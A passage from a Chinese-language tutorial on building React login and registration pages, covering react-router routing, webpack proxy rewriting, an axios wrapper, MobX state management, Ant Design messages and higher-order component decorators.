    </Router>
  }
}

render(<App />, document.getElementById('root')); 
Route指令
  • 它负责静态路由,只能和Route指定的path匹配,组件就可以显示。URL变化,将重新匹配路径
  • component属性设置目标组件
  • path是匹配路径,如果匹配则显示组件
    1. exact: 布尔值
    2. strict: 布尔值
  • 没有path属性,组件将总是显示,例如=<Route component={Always} />=
  • path属性还支持路径数组,意思是多个路径都可以匹配

路由配置

路径 /about /about/ /about/123
path="/about"
exact path="/about"  
exact path="about"  
strict path="/about"
exact strict path="/about"    
strict path="about"  
exact strict path="about"    
  • exact 只能匹配本路径,不包含子路径
  • strict 路径尾部有 , 则必须匹配这个,也可以匹配子路径
  • exact strict 一起用,表示严格的等于当前指定路径

Switch指令

  • 也可以将Route组织到一个Switch中,一旦匹配Switch中的一个Route,就不再匹配其他。但是Route是匹配所有,如果匹配就会显示组件,无path的Route始终匹配。
  • 注意这个时候Always组件,其实是404组件了,因为只有Switch中其上的Route没有匹配,才轮到它。

登录组件

在component目录下构建react组件

登录页面模板

<div class="login-page">
<div class="form">
    <form class="register-form">
    <input type="text" placeholder="name"/>
    <input type="password" placeholder="password"/>
    <input type="text" placeholder="email address"/>
    <button>create</button>
    <p class="message">Already registered? <a href="#">Sign In</a></p>
    </form>
    <form class="login-form">
    <input type="text" placeholder="username"/>
    <input type="password" placeholder="password"/>
    <button>login</button>
    <p class="message">Not registered? <a href="#">Create an account</a></p>
    </form>
</div>
</div>

使用这个HTML模板来构建组件

特别注意

  1. 搬到React组件中的时候,要 将class属性改为className.
  2. 所有标签,需要闭合。

login.js

  1. 在component目录下新建login.js的登录组件。
  2. 使用上面的模板的HTML中的登录部分,挪到render函数中。
    • 修改class为className
    • <a> 标签替换成 <Link to="?"> 组件
    • 注意标签闭合问题
/* 新建文件src/component/login.js */
import React from "react";
import {Link} from "react-router-dom";

export default class Login extends React.Component {
    render() {
        return (
            <div className="login-page">
            <div className="form">
                <form className="login-form">
                <input type="text" placeholder="username"/>
                <input type="password" placeholder="password"/>
                <button>登录</button>
                <p className="message">还未注册? <Link to="/reg">请注册</Link></p>
                </form>
            </div>
            </div>
        )
    }
}

在src/index.js路由中增加登录组件

/* 修改src/index.js文件内容 */
...
import Login from './component/login';

class App extends React.Component {
  // exact 精确匹配
  render() {
    return <Router>
      <div>
        <Switch>
          <Route exact path={["/", '/index']} component={Home}></Route>
          <Route path="/login" component={Login}></Route>

样式表

webpack.config.dev.js webpack.config.prod.js

  • css-loader 加载css
  • style-loader通过 <style> 标签把css添加到DOM中
module: {
    rules: [
        {
            test: /\.js$/,
            exclude: /node_modules/,
            use: [
                { loader: 'react-hot-loader/webpack' },
                { loader: 'babel-loader' }
            ]
        },
        {
            test: /\.css$/,
            use: [
                { loader: "style-loader" },
                { loader: "css-loader" },
            ]
         }, 
        {
            test: /\.less$/,
            use: [
                { loader: "style-loader" },
                { loader: "css-loader" },
                { loader: "less-loader" }
            ]
        }
    ]
},
  • 在src/css中,创建login.css,放入以下内容,然后src/component/login.js中导入样式
/* src/component/login.js中导入样式表 */
import React from "react";
import {Link} from "react-router-dom";
import "../css/login.css";
/* 新建src/css/login.css文件 */
body {
  font-family: "Roboto", sans-serif;
}

.login-page {
  width: 360px;
  padding: 8% 0 0;
  margin: auto;
}
.form {
  position: relative;
  z-index: 1;
  background: #FFFFFF;
  max-width: 360px;
  margin: 0 auto 100px;
  padding: 45px;
  text-align: center;
  box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24);
}
.form input {
  font-family: "Roboto", sans-serif;
  outline: 0;
  background: #f2f2f2;
  width: 100%;
  border: 0;
  margin: 0 0 15px;
  padding: 15px;
  box-sizing: border-box;
  font-size: 14px;
}
.form button {
  font-family: "Roboto", sans-serif;
  text-transform: uppercase;
  outline: 0;
  background: #4CAF50;
  width: 100%;
  border: 0;
  padding: 15px;
  color: #FFFFFF;
  font-size: 14px;
  -webkit-transition: all 0.3 ease;
  transition: all 0.3 ease;
  cursor: pointer;
}
.form button:hover,.form button:active,.form button:focus {
  background: #43A047;
}
.form .message {
  margin: 15px 0 0;
  color: #b3b3b3;
  font-size: 12px;
}
.form .message a {
  color: #4CAF50;
  text-decoration: none;
}

注册组件

与登录组件编写方式差不多,创建src/component/reg.js, 使用login.css

/*新建src/component/reg.js文件 */
import React from 'react';
import { Link } from 'react-router-dom';
import '../css/login.css';

// 缺省导出
export default class Reg extends React.Component {
  render() {
    return (
      <div className="login-page">
        <div className="form">
          <form className="register-form">
            <input type="text" placeholder="用户名"/>
            <input type="text" placeholder="电子邮箱"/>
            <input type="password" placeholder="密码"/>
            <input type="password" placeholder="确认密码"/>
            <button>注册</button>
            <p className="message">已经注册, <Link to='/login'>请登录</Link></p>
          </form>
        </div>
      </div>
    );
  }
}

在src/index.js中增加一条静态路由

/* src/index.js中修改*/
import React from 'react';
import { render } from 'react-dom';
import {
  BrowserRouter as Router,
  Switch,
  Route,
  Link
} from "react-router-dom";
import Login from './component/login';
import Reg from './component/reg';

function Home() {
  return <h2>Home</h2>;
}

function About() {
  return <h2>About</h2>;
}

function Default() {
  return <h2>缺省显示</h2>;
}

function Always() {
  return <h2><hr />页脚</h2>;
}

class App extends React.Component {
  // exact 精确匹配
  render() {
    return <Router>
      <div>
        <Switch>
          <Route exact path={["/", '/index']} component={Home}></Route>
          <Route path="/login" component={Login}></Route>
          <Route path="/reg" component={Reg}></Route>
          <Route path="/about" component={About}></Route>
          <Route component={Default}></Route>
        </Switch>
        <Route component={Always}></Route>
      </div>
    </Router>
  }
}

render(<App />, document.getElementById('root')); 

导航栏链接

  • 在index.js中增加导航栏链接,方便页面切换
/* 修改src/index.js文件*/
import React from 'react';
import { render } from 'react-dom';
import {
  BrowserRouter as Router,
  Switch,
  Route,
  Link
} from "react-router-dom";
import Login from './component/login';
import Reg from './component/reg';

function Home() {
  return <h2>Home</h2>;
}

function About() {
  return <h2>About</h2>;
}

function Default() {
  return <h2>缺省显示</h2>;
}

function Always() {
  return <h2><hr />页脚</h2>;
}

class App extends React.Component {
  // exact 精确匹配
  render() {
    return <Router>
      <div>
        <ul>
          <li><Link to="/">主页</Link></li>
          <li><Link to="/login">登录</Link></li>
          <li><Link to="/reg">注册</Link></li>
          <li><Link to="/about">关于</Link></li>
        </ul>
        <Switch>
          <Route exact path={["/", '/index']} component={Home}></Route>
          <Route path="/login" component={Login}></Route>
          <Route path="/reg" component={Reg}></Route>
          <Route path="/about" component={About}></Route>
          <Route component={Default}></Route>
        </Switch>
        <Route component={Always}></Route>
      </div>
    </Router>
  }
}

render(<App />, document.getElementById('root')); 

分层

层次 作用 路径
视图层 负责数据呈现,负责用户交互界面 src/component/xxx.js
服务层 负责业务逻辑处理 src/service/xxx.js
Model层 数据持久化  

登录功能实现

  • view层,登录组件和用户交互。相当于button点击触发onclick,调用事件响应函数handleClick,handleClick中调用服务service层login函数。
  • service层,负责业务逻辑处理。调用Model层数据操作函数

新建src/service/user.js处理调用逻辑

/* 新建src/service/user.js逻辑 */
export default class UserService {
    login(username, password) {
        console.log('去处理', username, password)
        // TODO 待完成代码
    }
}

修改src/component/login.js文件

/* 修改src/component/login.js文件 */
import React from "react";
import {Link} from "react-router-dom";
import "../css/login.css";

export default class Login extends React.Component {
    handleClick(event){
        console.log(event.target)
    }

    render() {
        return (
            <div className="login-page">
            <div className="form">
                <form className="login-form">
                <input type="text" placeholder="email"/>
                <input type="password" placeholder="password"/>
                <button onClick={this.handleClick.bind(this)}>登录</button>
                <p className="message">还未注册? <Link to="#">请注册</Link></p>
                </form>
            </div>
            </div>
        )
    }
}

问题:

  • 页面提交
    1. 这次发现有一些问题,按钮点击会提交,导致页面刷新了。要阻止页面刷新,其实就是阻止提交。使用event.preventDefault()。
  • 如何拿到邮箱和密码?
    1. event.target.form返回暗流所在表单,可以看做一个数组。
    2. fm[0].value和fm[1].value就是文本框的值。
  • 如何在Login组件中使用UserService实例呢?
    1. 使用全局变量,虽然可以,但不好。
    2. 可以在Login的构造器中通过属性注入。
    3. 也可以在外部使用props注入。使用这种方式。

修改,保证在login组件中使用UserService,使用属性注入

/* 修改src/component/login.js文件 */
import React from 'react';
import { Link } from 'react-router-dom';
import '../css/login.css';
import UserService from '../service/user';

const service = new UserService();

export default class Login extends React.Component {
  render() {
    return <_Login service={service} />
  }
}

class _Login extends React.Component {
  handleClick(event) {
    event.preventDefault(); // 阻止事件默认行为, 阻止提交 Ajax
    console.log('click');
    // 连接到服务器端进行用户名和密码的验证等待回复
    // 组件中只要收集用户名和密码就可以了,验证交给其他的服务层Service层
    // service.login() // service是全局变量,对于组件用props
    // this.props.service.login();
    // console.log('=====',event.target)
    // console.log('=====',event.target.form)
    // let form = event.target.form;
    // console.log(form[0], form[1]); // key
    // console.log(form[0].value, form[1].value); // value
    const [username, password] = event.target.form;
    // console.log(username.value, password.value);
    this.props.service.login(username.value, password.value);
  }
  render() {
    return (
      <div className="login-page">
        <div className="form">
          <form className="login-form">
            <input type="text" placeholder="用户名"/>
            <input type="password" placeholder="密码"/>
            <button onClick={this.handleClick.bind(this)}>登录</button>
            <p className="message">还未注册? <Link to="/reg">请清册</Link></p>
          </form>
        </div>
      </div>
    );
  }
}

UserService的login方法实现

代理配置
  • 修改webpack.config.dev.jsw文件中proxy部分,保证proxy的target是后台服务的地址和端口,且要开启后台服务。
  • 注意:修改这个配置,需要重启dev server
/* 修改webpack.config.dev.js文件 */
devServer: {
    compress: true, /* gzip */
    //host:'192.168.61.109', /* 设置ip */
    port: 3000,
    publicPath: '/assets/', /* 设置bundled files浏览器端访问地址 */
    hot: true,  /* 开启HMR热模块替换 */
    inline: true, /* 控制浏览器控制台是否显示信息 */
    historyApiFallback: true,
    stats: {
        chunks: false
    },
    proxy: { //代理
        '/api': {
            target: 'http://127.0.0.1:8000',
            changeOrigin: true
        }
    }
}
axios异步库
  • axios是一个基于Promise的HTTP异步库,可以用在浏览器或nodejs中。
  • 使用axios发起异步调用,完成POST、GET方法的数据提交。可以查照官网的例子。
  • 中文说明https://www.kancloud.cn/yunye/axios/234845

安装npm

yarn add axios  #npm install axios 

注意:如果使用yarn安装,就不要再使用npm安装包了,以免出现问题。

导入

import axios from 'axios';

修改service/user.js如下

import axios from 'axios';

export default class UserService {
    login(username, password) {
        console.log(username, password); // Ajax axios xmlhttprequest
        // TODO application/json
        axios.post('/api/users/login', {
            username, password
        })
            .then(function (response) {
                console.log(response, '++++');
                console.log(response.status);
                console.log(response.data);
            }, function (error) {
                console.log(error, '其他错误----');
            });
        console.log('处理完了?');
    }
}

测试时,加上默认用户和密码

/* component/login.js*/
import React from 'react';
import { Link } from 'react-router-dom';
import "../css/login.css";
import UserService from '../service/user';

const service = new UserService();

export default class Login extends React.Component{
    render() {
        return <_Login service={service}/>
    }
}

class _Login extends React.Component{
    handleClick(event) {
        event.preventDefault();
        console.log('click')
        const [username, password] = event.target.form;
        this.props.service.login(username.value, password.value);
    }
    render() {
        return(
            <div className="login-page">
            <div className="form">
                <form className="login-form">
                <input type="text" placeholder="用户名" defaultValue='abc'/>
                <input type="password" placeholder="密码" defaultValue='abc'/>
                <button onClick={this.handleClick.bind(this)}>登录</button>
                <p className="message">还未注册? <Link to="/reg">请注册</Link></p>
                </form>
            </div>
            </div>
        )
    }
}

问题:

  1. 404

    填入用户名,密码,点击登录,返回404,查看发现访问的地址是 http://127.0.0.1:3000/api/users/login, 也就是多了/api。

  2. 解决:
    1. 修改blog

      server的代码的路由匹配规则(不建议这么做,影响比较大)

    2. rewrite,类似httpd,nginx等的rewrite功能。本次测试使用的是dev

      server,去官方看看。https://webpack.js.org/configuration/dev-server/#devserver-proxy可以看到pathRewrite可以完成路由重写。

修改webpack.config.dev.js文件

/* 修改webpack.config.dev.js文件中对应内容*/
devServer: {
    compress: true, /* gzip */
    //host:'192.168.61.109', /* 设置ip */
    port: 3000,
    publicPath: '/assets/', /* 设置bundled files浏览器端访问地址 */
    hot: true,  /* 开启HMR热模块替换 */
    inline: true, /* 控制浏览器控制台是否显示信息 */
    historyApiFallback: true,
    stats: {
        chunks: false
    },
    proxy: { //代理
        '/api': {
            target: 'http://127.0.0.1:8000',
            pathRewrite: {"^/api" : ""}, //将所有代理亲戚中已/api开头的请求中对应字符替换成空
            changeOrigin: true
        }
    }
}

重启dev

  • server.使用正确用户,密码登录,返回了json数据,在response.data中可以看到token、user。

为方便起见,为所有支持的请求方法提供了别名

axios.request(config)
  -> Post axios.request({method:'post', user:'', data:{}})
  -> GET axios.request({method:'get', url:''})

axios.get(url[, config])
  -> axios.get(url)
  -> axios.get(url, {baseURL:'/api'})

axios.delete(url[, config])
axios.head(url[, config])

axios.post(url[, data[, config]])
  -> axios.post(url)
  -> axios.post(url, {name:'tom'}, {baseURL:'/api'})

axios.put(url[, data[, config]])
axios.patch(url[, data[, config]])

/*service/user.js*/
import axios from 'axios';

export default class UserService {
    login(username, password) {
        console.log(username, password); // Ajax axios xmlhttprequest
        // TODO application/json
        // axios.post axios.get proxy:/api/users/login -> rewrite http://localhost:8000/users/login
        // 
        axios.post('/users/login', {
            username, password
        }, {
            baseURL: '/api',
            timeout:3000,
        })
            .then(function (response) {
                console.log(response, '++++');
                console.log(response.status);
                console.log(response.data);
                console.log(response.data.code); // 成功返回undefined,失败 code:1
                if (!response.data.code) {
                    console.log('success');
                }else {
                    console.log('failed')
                }
            }, function (error) {
                console.log(error, '其他错误----');
            });
        console.log('处理完了?');
    }
}

对象合并方法

  • 方法1:使用解析
  • 方法2:Object.assign(target, …sources)

示例

var o1 = {a: 1}
var o2 = {e: 200, a: 100}
let o3 = Object.assign({}, o1, o2);
console.log(o3); // { a: 100, e: 200 }

let o4 = {...o1, ...o2}
console.log(o4); // { a: 100, e: 200 }

let o4 = {...o1, ...o2.obj}  // o2.obj不存在,也可以合并
console.log(o4); // { a: 1 }

axios处理

src/axios/index.js构建一个类Axios。使用静态方法、Promise封闭ajax请求的处理

/*src/axios/index.js*/
import axios from 'axios';

// axios.post axios.get proxy:/api/users/login -> rewrite http://localhost:8000/users/login
// baseURL:/api
export default class Axios {
    static config = {
        baseURL: '/api',
        timeout:3000,
    }
    static post(params) {
        return axios.post(
            params.url, 
            params.data, 
            {...this.config, ...params.config}
        ).then( // 返回一个全新的Promise对象
            response => { // 200. 一定要用箭头函数,否则this有问题
                const data = response.data; 
                if (!data.code) {
                    // sucess
                    return data;  // 相当于 return Promise.resolve(data);
                }else{
                    // failed
                    return Promise.reject(data); // {code:1, msg:xxx}
                }
            }
        ).catch( // 失败给出失败的理由
            reason => {
                return Promise.reject(reason); // 自己调用
                // return Promise.reject('请求错误');
            }
        )
    }
}
/*service/user.js*/
// import axios from 'axios';
import axios from "../axios";

export default class UserService {
    login(username, password) {
        console.log(username, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/login',
            data:{username, password}
        }).then(
            value => {
                // TODO 成功怎么办
                console.log('成功了!!!!')
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
            }
        );
    }
}

Mobx状态管理

Redux和Mobx

社区提供的状态管理库,有Redux和Mobx。

Redux代码优秀,使用严格的函数式编程思想,学习曲线陡峭,小项目使用的优劣不明显。

Mobx,非常优秀稳定的库,简单方便,适合中小项目使用。使用面向对象的方式,容易学习和接受。现在在中小项目中使用也非常广泛。Mobx和React也是一对强力组合。

观察者模式

  • 观察者模式,也称为发布订阅模式。观察者观察某个目标,目标对象(Obserable)状态发生了变化,会通知自己内部注册了的观察者Observer。
状态管理

需求:

  • 一个组件的onClick触发事件响应函数,此函数会调用后台服务。但是后台服务比较耗时,等处理完,需要引起组件的渲染操作。
  • 要组件渲染,就需要改变组件的props或state。

同步调用

  • 同步调用中,实际上就是等着耗时的函数返回

异步调用

  • 思路一,使用setTimeout问题
    1. 无法向内部的等待执行函数传入参数,比如Root实例。
    2. 延时执行的函数的返回值无法取到,所以无法通知Root
  • 思路二、Promise异步执行
    1. Promise异步执行,如果成功,将调用回调。
    2. 不管render中是否显示state的值,只要state改变,都会触发render执行

同步调用

模拟阻塞

console.log(new Date())
console.log(new Date().getTime())

for (let d = new Date().getTime(); new Date() < d + 5000;); // 模拟阻塞 5秒,CPU100%

同步

/*index.js*/
import React from 'react';
import { render } from 'react-dom';
import {
  BrowserRouter as Router,
  Switch,
  Route,
  Link
} from "react-router-dom";

// 测试用
class Service { // 同步
  login(n){
    for (let d = new Date().getTime(); new Date() < d + n * 1000;); // 模拟阻塞
    return Math.random();
  }
}

class App extends React.Component {
  state = {
    ret:0
  }
  handleClick(e) {
    console.log('调用开始')
    console.log(e);
    let ret = this.props.service.login(5); // 同步调用
    this.setState({ret});
    console.log('调用完成')
  }
  render() {
    return <div>
      <button onClick={this.handleClick.bind(this)}>请点击</button><br/>
      结果是 {this.state.ret}
    </div>
  }
}
render(<App  service={new Service()}/>, document.getElementById('root')); 

访问 http://localhost:3000 观察,在同步等待5秒内什么也做不了,浏览器对当前页面渲染是单线程的。

异步调用

方案2:Promise异步执行. 不过看起来不太优雅

/* 可以在src/index.js中修改测试代码如下 */
import React from 'react';
import { render } from 'react-dom';

// 测试用
// class Service { // 同步
//   login(n){
//     for (let d = new Date().getTime(); new Date() < d + n * 1000;); // 模拟阻塞
//     return Math.random();
//   }
// }
class Service { // 异步
  login(n, objAppThis){
    // setTimeout(()=>)
    return new Promise(
      (resolve, reject) => {
        // 模拟多少秒后执行
        setTimeout(() => {
          resolve(Math.random() + 100)
        }, n*1000);
      }
    ).then(
      value => {
        console.log('-----------------')
        objAppThis.setState({
          ret:value
        })
      }
    )
  }
}

class App extends React.Component {
  state = {
    ret:0
  }
  handleClick(e) {
    console.log('调用开始')
    console.log(e);
    // let ret = this.props.service.login(5); // 同步调用
    // this.setState({ret});
    this.props.service.login(5, this); // 异步
    console.log('调用完成')
  }
  render() {
    return <div>
      <button onClick={this.handleClick.bind(this)}>请点击</button><br/>
      {new Date().getTime()} 结果是 {this.state.ret}
    </div>
  }
}
render(<App  service={new Service()}/>, document.getElementById('root')); 

方案3:Mobx实现

  • observable装饰器:设置被观察者
  • observer装饰器:设置观察者,将React组件转换为响应式组件
// 只需要设置被观察的变量,观察变量就可以了
@observable ret = 0; // 被观察对象

@observer
...
    console.log(this.props.service.ret); // 使用才能被观察到
/* 可以在src/index.js中修改测试代码如下 */
import React from 'react';
import { render } from 'react-dom';
import { observable } from 'mobx';
import { observer } from 'mobx-react';

// 测试用
// class Service { // 同步
//   login(n){
//     for (let d = new Date().getTime(); new Date() < d + n * 1000;); // 模拟阻塞
//     return Math.random();
//   }
// }
class Service { // 异步
  @observable ret = 0; // 被观察对象
  login(n){
    // setTimeout(()=>)
    return new Promise(
      (resolve, reject) => {
        // 模拟多少秒后执行
        setTimeout(() => {
          resolve(Math.random() + 1000)
        }, n*1000);
      }
    ).then(
      value => {
        console.log('++++++++++++')
        // objAppThis.setState({
        //   ret:value
        // })
        this.ret = value;
        console.log(this.ret);
      }
    )
  }
}

@observer
class App extends React.Component {
  // state = {
  //   ret:0
  // }
  handleClick(e) {
    console.log('调用开始')
    console.log(e);
    // let ret = this.props.service.login(5); // 同步调用
    // this.setState({ret});
    this.props.service.login(2); // 异步
    console.log('调用完成???')
  }
  render() {
    console.log('observer render *********');
    console.log(this.props.service.ret); // 使用才能被观察到
    return <div>
      <button onClick={this.handleClick.bind(this)}>请点击</button><br/>
      {new Date().getTime()} 结果是 {this.props.service.ret}
    </div>
  }
}
render(<App  service={new Service()}/>, document.getElementById('root')); 
  • Service中被观察者ret变化,导致了观察者调用render函数。
  • 被观察者变化不引起渲染的情况:
    1. 将app中的render中 {this.props.service.ret} 注释 {/* this.props.service.ret */} 。可以看到,如果render中不使用这个被观察者,render函数就不会调用。
  • 注意:在观察者render函数中,一定要使用这个被观察对象。

跳转

  • 如果service中ret发生了变化,观察者Login就会被通知到。一般来说,就会跳转到用户界面,需要使用Redirect组件。
// 导入Redirect
import {Link,Redirect} from 'react-router-dom';

//render函数中return
return <Redirect to="/" />; //to表示跳转到哪里

Login登录功能代码实现

src/service/user.js文件内容

  • Mobx组件,被观察变量isLogin
/*src/service/user.js文件内容*/
// import axios from 'axios';
import { observable } from "mobx";
import axios from "../axios";

export default class UserService {
    @observable isLogin = false;
    login(username, password) {
        console.log(username, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/login',
            data:{username, password}
        }).then(
            value => {
                // TODO 成功怎么办
                console.log('成功了!!!!', value)
                this.isLogin = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
            }
        );
    }
}

src/component/login.js文件内容

  • Mobx组件,观察变量isLogin
/* src/component/login.js文件内容 */
/* component/login.js*/
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import "../css/login.css";
import UserService from '../service/user';
import { observer } from 'mobx-react';

const service = new UserService();

export default class Login extends React.Component{
    render() {
        return <_Login service={service}/>
    }
}

@observer
class _Login extends React.Component{
    handleClick(event) {
      console.log(event); // window.event
      event.preventDefault();
      console.log('click')
      const [username, password] = event.target.form;
      this.props.service.login(username.value, password.value);
    }
    render() {
        console.log('login render ~~~~~')
        if (this.props.service.isLogin) {
            return <Redirect to='/profile' />; // to表示跳转到哪里
        }
        return(
            <div className="login-page">
            <div className="form">
                <form className="login-form">
                <input type="text" placeholder="用户名" defaultValue='abc'/>
                <input type="password" placeholder="密码" defaultValue='abc'/>
                <button onClick={this.handleClick.bind(this)}>登录</button>
                <p className="message">还未注册? <Link to="/reg">请注册</Link></p>
                </form>
            </div>
            </div>
        )
    }
}
/*index.js*/
import React from 'react';
import { render } from 'react-dom';
import {
  BrowserRouter as Router,
  Switch,
  Route,
  Link
} from "react-router-dom";
import Login from './component/login';
import Reg from './component/reg';
// import { observable } from 'mobx';
// import { observer } from 'mobx-react';

const Home = props => <h2>Home</h2>;
const About = props => <h2>About</h2>;
const Default = props => <h2>缺省显示</h2>;
const Always = props => <h2><hr />页脚</h2>;
const Profile = props => <h2>用户信息: </h2>;

class App extends React.Component {
  // exact 精确匹配
  render() {
    return <Router>
      <div>
        <ul>
          <li><Link to="/">主页</Link></li>
          <li><Link to="/login">登录</Link></li>
          <li><Link to="/reg">注册</Link></li>
          <li><Link to="/about">关于</Link></li>
        </ul>
        <Switch>
          <Route exact path={["/", '/index']} component={Home}></Route>
          <Route path="/login" component={Login}></Route>
          <Route path="/reg" component={Reg}></Route>
          <Route path="/about" component={About}></Route>
          <Route path="/profile" component={Profile}></Route>
          <Route component={Default}></Route>
        </Switch>
        <Route component={Always}></Route>
      </div>
    </Router>
  }
}
render(<App/>, document.getElementById('root')); 

// // 测试用
// // class Service { // 同步
// //   login(n){
// //     for (let d = new Date().getTime(); new Date() < d + n * 1000;); // 模拟阻塞
// //     return Math.random();
// //   }
// // }
// class Service { // 异步
//   @observable ret = 0; // 被观察对象
//   login(n){
//     // setTimeout(()=>)
//     return new Promise(
//       (resolve, reject) => {
//         // 模拟多少秒后执行
//         setTimeout(() => {
//           resolve(Math.random() + 1000)
//         }, n*1000);
//       }
//     ).then(
//       value => {
//         console.log('++++++++++++')
//         // objAppThis.setState({
//         //   ret:value
//         // })
//         this.ret = value;
//         console.log(this.ret);
//       }
//     )
//   }
// }

// @observer // 将react组件转换为响应式组件
// class App extends React.Component {
//   // state = {
//   //   ret:0
//   // }
//   handleClick(e) {
//     console.log('调用开始')
//     console.log(e);
//     // let ret = this.props.service.login(5); // 同步调用
//     // this.setState({ret});
//     this.props.service.login(2); // 异步
//     console.log('调用完成???')
//   }
//   render() {
//     console.log('observer render *********');
//     console.log(this.props.service.ret); // 使用才能被观察到
//     return <div>
//       <button onClick={this.handleClick.bind(this)}>请点击</button><br/>
//       {new Date().getTime()} 结果是 {this.props.service.ret}
//     </div>
//   }
// }
// render(<App  service={new Service()}/>, document.getElementById('root')); 
  • 注意:测试时,开启Django编写的后台服务程序
  • 成功登录,则跳转,否则显示错误信息。

前端开发-注册功能代码实现

注册功能实现

在service/user.js中增加reg注册函数

// import axios from 'axios';
import { observable } from "mobx";
import axios from "../axios";

export default class UserService {
    @observable isLogin = false;
    @observable isReg = false;

    login(username, password) {
        console.log(username, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/login',
            data:{username, password}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isLogin = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
            }
        );
    }

    reg(username, email, password) {
        console.log(username, email, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/',
            data:{username, email, password}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isReg = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
            }
        );
    }
}

修改componet/reg.js组件

import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import '../css/login.css';
import UserService from '../service/user';
import { observer } from 'mobx-react';

const service = new UserService();
export default class Reg extends React.Component {
  render() {
    return <_Reg service={service}/>
  }
}

@observer
class _Reg extends React.Component {
  validate(pwd, confirmpwd) {
    if (pwd.value === confirmpwd.value){
      return true;
    }else{
      pwd.focus();
      console.log('pwd failed')
      return false;
    }

  }

  handleClick(e) {
    e.preventDefault(); // 阻止默认行为
    const form = e.target.form;
    const [username, email, password, confirmpwd] = form;
    if (this.validate(password, confirmpwd))
      this.props.service.reg(username.value, email.value, password.value);
  }

  render() {
    console.log('reg render ~~~~')
    if (this.props.service.isLogin) { // 如果已经登录成功,就不要再注册了
        return <Redirect to='/profile' />;
    }
    if (this.props.service.isReg){
      return <Redirect to='/login' />
    }
    return (
      <div className="login-page">
        <div className="form">
          <form className="register-form">
            <input type="text" placeholder="用户名"/>
            <input type="text" placeholder="电子邮箱"/>
            <input type="password" placeholder="密码"/>
            <input type="password" placeholder="确认密码"/>
            <button onClick={this.handleClick.bind(this)}>注册</button>
            <p className="message">已经注册, <Link to='/login'>请登录</Link></p>
          </form>
        </div>
      </div>
    );
  }
}

测试发现,重新登录,登录成功后,点击注册链接,没有跳转到首页,或者先注册,注册成功后,点击登录,还可以再次登录。原因是构造并使用了不同的UserServer实例。

如何使用同一个UserServer实例,在service/user.js中导出唯一的UserService实例即可,其他模块直接导入并使用这个实例即可。

修改service/user.js

class UserService {
    //此处省略
}
const userService = new UserService();
export {userService};

// 在组件中使用
import {userService as service} from '../service/user';
//const service = new UserService();  //可以删除了

Ant Design

Ant Design蚂蚁金服开源的React UI库。

安装,package.json文件已经指定了无需安装

npm install antd #或者yarn add antd=

这里使用3版本。

指定要使用的样式

import {List} from 'antd'; //加载antd的组件
import 'antd/lib/list/style/css'; //加载组件的样式css

ReactDom.render(<list />, mountNode);

每一种组件的详细使用例子,官网都有,需要时查阅官方文档即可

按需加载

按需加载,可缩小js体积

  • 使用 babel-plugin-import

修改 .babelrc 文件

{
  "presets": [
    "react",
    "env",
    "stage-0"
  ],
  "plugins": [
    "transform-decorators-legacy",
    "transform-runtime",
    ["import", {
      "libraryName": "antd",
      "libraryDirectory": "es",
      "style": true // `style: true` 会加载 less 文件
    }]
  ]
}

安装插件,重启后观察bundle.js文件大小

> yarn run start
        Asset     Size  Chunks                    Chunk Names
    bundle.js  7.86 MB       0  [emitted]  [big]  app

# 安装插件
yarn add babel-plugin-import -D

#可看到bundle.js体积明显小了
> yarn run start
        Asset     Size  Chunks                    Chunk Names
    bundle.js  2.86 MB       0  [emitted]  [big]  app

信息显示

页开发中,不管操作成功与否,有很多提示信息,目前信息都是控制台输出,用户看不到。

用Antd的message组件显示油耗提示信息。

service/user.js 增加信息显示

// import axios from 'axios';
import { observable } from "mobx";
import axios from "../axios";
import { message } from 'antd';

class UserService {
    @observable isLogin = false;
    @observable isReg = false;

    login(username, password) {
        console.log(username, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/login',
            data:{username, password}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isLogin = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                // window.alert(reason.msg);
                message.warning(reason.msg, 8); // 8秒消失
            }
        );
    }

    reg(username, email, password) {
        console.log(username, email, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/',
            data:{username, email, password}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isReg = true;
            },
            reason => {
                console.log(reason);
                // TODO 处理失败,给用户友好性提示
                message.warning(reason.msg);
            }
        );
    }
}

const userService = new UserService();
export {userService}

高阶组件装饰器

装饰器函数的整个演变过程如下

import React from 'react';

// 1组件原型
export default class Login extends React.Component{
    render() {
        return <_Login service={service}/>
    }
}

// 2 匿名组件
const Login = class extends React.Component {
    render() {
        return <_Login service={service} />
    }
}

// 3 高阶组件, 提参数
function inject(service, Comp) { // 提供一个组件,返回一个包装它的新组件
    return class extends React.Component {
        render() {
            return <Comp service={service} />
        }
    }
}

// 4 props
function inject(obj, Comp) { // 提供一个组件,返回一个包装它的新组件
    return class extends React.Component {
        render() {
            return <Comp {...obj} />
        }
    }
}

// 5 柯里化
function inject(obj) {
    return function (Comp) { // 提供一个组件,返回一个包装它的新组件
        return class extends React.Component {
            render() {
                return <Comp {...obj} />
            }
        }
    }
}

const inject = function (obj) {
    return function (Comp) { // 提供一个组件,返回一个包装它的新组件
        return class extends React.Component {
            render() {
                return <Comp {...obj} />
            }
        }
    }
}

// 5箭头函数
const inject = obj => {
    return Comp => { // 提供一个组件,返回一个包装它的新组件
        return class extends React.Component {
            render() {
                return <Comp {...obj} />
            }
        }
    }
}

//  继续简化,掉return
const inject = obj => Comp =>
    class extends React.Component { // 一个完整的组件
        render() {
            return <Comp {...obj} />
        }
    }
// inject(1)(组件) =》新组件

// 使用
@inject({a:1}) // A = inject({a:1})(A)
class A extends React.Component {
    render () {
